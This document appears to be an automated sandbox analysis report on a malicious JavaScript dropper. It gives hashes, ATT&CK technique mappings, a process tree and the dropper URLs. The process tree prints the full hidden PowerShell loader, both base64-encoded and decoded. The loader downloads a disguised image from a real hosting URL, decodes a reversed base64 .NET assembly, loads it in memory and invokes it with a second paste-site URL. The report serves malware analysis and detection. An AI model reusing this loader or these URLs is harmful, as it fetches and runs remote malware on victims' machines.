39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f

General

Target

39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f.js
Size

9KB
MD5

1b6d2103d7dab7301d982d0f7854acab
SHA1

9275b6b0f62f6ffc5185f8227f7cf511e51ffec4
SHA256

39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f
SHA512

e104f94649b7cadc28ab30fe1fa82ea03095dcac12f06e1e1e35baed587dfad1f4064c79d8ac2fe01e1fcc3c20c672e6545ce513c1196f0a2079b5c24f740c33
SSDEEP

96:XrdDvmf58omujIk9KY8k6z8kvhSxkgg+6vmfgxmKgK1yUApzuhnqib9Nczvmfymb:tm1muXYm6Lbgg+gm6mc1mNVibXemKmFB

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2032	wscript.exe
7	2032	wscript.exe
9	2676	powershell.exe
11	2676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe
2676	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3052	powershell.exe
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 2220	2032	wscript.exe	32
PID 2032 wrote to memory of 2220	2032	wscript.exe	32
PID 2032 wrote to memory of 2220	2032	wscript.exe	32
PID 2220 wrote to memory of 3052	2220	cscript.exe	34
PID 2220 wrote to memory of 3052	2220	cscript.exe	34
PID 2220 wrote to memory of 3052	2220	cscript.exe	34
PID 3052 wrote to memory of 2676	3052	powershell.exe	36
PID 3052 wrote to memory of 2676	3052	powershell.exe	36
PID 3052 wrote to memory of 2676	3052	powershell.exe	36

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\exchange.js
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $maremme = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB1AG4AcABhAHQAYwBoAGUAZAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAcgBvAHAAdABvAHMAZQBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGIAZQBsAGkAdAB0AGwAZQByAHMAIAA9ACAAJABwAHIAbwBwAHQAbwBzAGUAcwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AG4AcABhAHQAYwBoAGUAZAApADsAJABuAG8AbgBhAG0AYgBpAGcAdQBvAHUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAZQBsAGkAdAB0AGwAZQByAHMAKQA7ACQAYQBwAG8AcABoAHkAcwBlAGEAbAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAcABvAGwAeQBtAGUAcgBpAGMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAbQBpAHMAYQBnAGUAbgB0ACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABhAHAAbwBwAGgAeQBzAGUAYQBsACkAOwAkAGEAbABkAG8AbABhAHMAZQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABwAG8AbAB5AG0AZQByAGkAYwApADsAJABtAGkAcwBhAGcAZQBuAHQAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AZwB0ACAAJABtAGkAcwBhAGcAZQBuAHQAOwAkAG0AaQBzAGEAZwBlAG4AdAAgACsAPQAgACQAYQBwAG8AcABoAHkAcwBlAGEAbAAuAEwAZQBuAGcAdABoADsAJABwAHQAZQByAGkAZABvAGwAbwBnAGkAcwB0AHMAIAA9ACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AIAAkAG0AaQBzAGEAZwBlAG4AdAA7ACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAbQBpAHMAYQBnAGUAbgB0ACwAIAAkAHAAdABlAHIAaQBkAG8AbABvAGcAaQBzAHQAcwApADsAJABvAHYAZQByAGEAZwBnAHIAZQBzAHMAaQB2AGUAIAA9ACAALQBqAG8AaQBuACAAKAAkAGYAYQB0AHMAaABlAGQAZQByAGEAcwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzAC4ATABlAG4AZwB0AGgAKQBdADsAJABjAHIAbwBuAHkAaQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwB2AGUAcgBhAGcAZwByAGUAcwBzAGkAdgBlACkAOwAkAGUAdABoAHkAbgB5AGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwByAG8AbgB5AGkAcwBtACkAOwAkAG0AYQBuAGcAYQBiAGkAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAbQBhAG4AZwBhAGIAaQBlAHMALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAMAAvAGMANgBrADYAVgAvAHIALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACAAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAMQAnACwAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACkAKQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AA==';$confidentially = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($maremme));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $confidentially
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$unpatched = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$proptoses = New-Object System.Net.WebClient;$belittlers = $proptoses.DownloadData($unpatched);$nonambiguous = [System.Text.Encoding]::UTF8.GetString($belittlers);$apophyseal = '<<BASE64_START>>';$polymeric = '<<BASE64_END>>';$misagent = $nonambiguous.IndexOf($apophyseal);$aldolases = $nonambiguous.IndexOf($polymeric);$misagent -ge 0 -and $aldolases -gt $misagent;$misagent += $apophyseal.Length;$pteridologists = $aldolases - $misagent;$fatshederas = $nonambiguous.Substring($misagent, $pteridologists);$overaggressive = -join ($fatshederas.ToCharArray() | ForEach-Object { $_ })[-1..-($fatshederas.Length)];$cronyism = [System.Convert]::FromBase64String($overaggressive);$ethynyl = [System.Reflection.Assembly]::Load($cronyism);$mangabies = [dnlib.IO.Home].GetMethod('VAI');$mangabies.Invoke($null, @('0/c6k6V/r/ee.etsap//:sptth', 'checkerboard', 'checkerboard', 'checkerboard', 'MSBuild', 'checkerboard', 'checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','1','checkerboard'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabE012.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE0D1.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\exchange.js

Filesize
153KB

MD5
001a26494789ece37db34f725a2bcbe5

SHA1
db3561ecc3fad709787d8618b4879af4ee09d731

SHA256
25240ce1dfc3892f0c9ee996011234439f49e6c686d61694744003f5be0cb5d5

SHA512
1bc9c27f7b48b4b10e631bfa5950ea1001bbad18cc2144b3b6196fb2d2cd1781bdf522e4cd2e1bc6ad7412760e85d3d17747ef6eda89e1b3f632bbdaf7e3fc4d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
99c24b6b312cfc26d48c425be9702264

SHA1
9581e6d824a9cf42853549e17e22f7c386551c41

SHA256
71d6c2423dcfd59a860fe2b8e55ad4f17757b24fc5df5d82f1ba7a9c7a8d4c2b

SHA512
3410ade5baa99b45d22c519b32880a673ec7413acbb7531d02cb0a85129383aa95d3afaf35963354a75bd578910f1045c3dc15ef5407698aee497f0f2ccdbf0a

Download Submit
memory/2676-63-0x000000001AEA0000-0x000000001AFF8000-memory.dmp

Filesize
1.3MB

Download
memory/3052-20-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/3052-21-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download

Analysis

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